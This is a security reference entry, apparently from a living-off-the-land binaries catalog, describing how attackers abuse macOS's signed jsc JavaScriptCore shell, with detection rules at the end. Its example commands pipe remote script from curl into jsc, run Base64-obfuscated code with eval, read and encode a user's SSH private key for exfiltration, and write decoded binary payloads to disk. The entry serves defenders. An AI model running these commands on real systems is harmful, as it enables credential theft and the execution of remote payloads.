jsc
jsc is the command-line shell for JavaScriptCore, the JavaScript engine used by Safari and WebKit. It ships with macOS inside the JavaScriptCore framework but is not on the default PATH. Since macOS Ventura, the framework lives in the OS cryptex on the Preboot volume, and /System/Library/Frameworks/JavaScriptCore.framework is a symlink into it, so process telemetry typically reports the resolved /System/Volumes/Preboot/Cryptexes/OS/... path. Beyond evaluating JavaScript from a file, an inline expression, or standard input, the shell exposes built-in helpers such as readFile(), writeFile(), load(), and runString(), and supports WebAssembly. These give an attacker an Apple-signed interpreter for executing obfuscated script content, reading files, and writing arbitrary (including binary) files outside of commonly monitored interpreters such as osascript, python3, or perl. jsc has no native networking or shell execution capability, so it is typically paired with other tooling for those stages.
- Paths
- /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc
- /System/Library/Frameworks/JavaScriptCore.framework/Versions/A/Helpers/jsc
- /System/Cryptexes/OS/System/Library/Frameworks/JavaScriptCore.framework/Versions/A/Helpers/jsc
- /System/Volumes/Preboot/Cryptexes/OS/System/Library/Frameworks/JavaScriptCore.framework/Versions/A/Helpers/jsc
- Author
- Brendan Chamberlain (@infosecB)
- Created
- 2026-11-07
Example Use Cases 5
Execute JavaScript from a file, an inline expression, or standard input #
jsc evaluates JavaScript passed as a file, with the -e flag, or piped through standard input. This provides an alternative to JXA via osascript for executing attacker-controlled script content with a signed Apple binary.
/System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc payload.js -- arg1 arg2
/System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc -e 'print("hello")'
curl -s https://example.com/payload.js | /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc Execute an obfuscated Base64 encoded payload #
The atob() and eval() functions can be combined to decode and run a Base64 encoded script, keeping the plaintext script content off the command line and out of files on disk.
/System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc -e 'eval(atob("cHJpbnQoJ2RlY29kZWQnKQ=="))' Read and Base64 encode the contents of a file #
The readFile() built-in reads any file the current user can access. Combined with btoa(), file contents can be encoded for staging or exfiltration through another channel.
/System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc -e 'print(btoa(readFile("/Users/<user>/.ssh/id_rsa")))' Decode and write a binary payload to disk #
The writeFile() built-in accepts a Uint8Array, allowing an attacker to decode an embedded Base64 blob and write an arbitrary binary such as a Mach-O executable to disk without using base64, xxd, or similar tools.
/System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc -e 'var s=atob("<base64 blob>"); var b=new Uint8Array(s.length); for(var i=0;i<s.length;i++) b[i]=s.charCodeAt(i); writeFile("/tmp/payload", b)' Execute a WebAssembly module #
jsc supports the WebAssembly API, so an attacker can compile and run a WebAssembly module, which makes payload logic harder to inspect than plaintext JavaScript.
/System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc -e 'var m=new WebAssembly.Module(readFile("payload.wasm","binary")); new WebAssembly.Instance(m).exports.main()' Detections
- Process execution detection: any execution of jsc (legitimate use is rare outside of developer and WebKit testing workflows). Match on the JavaScriptCore.framework/Versions/*/Helpers/jsc path suffix so both the symlinked and resolved cryptex paths are covered
- Command-line detection: jsc invoked with -e containing eval/atob/writeFile/readFile, or with jsc as the child of curl, a shell reading from a pipe, or a non-developer parent process
- File creation detection: files written by the jsc process, especially Mach-O executables or files in /tmp, /Users/Shared, or ~/Library/LaunchAgents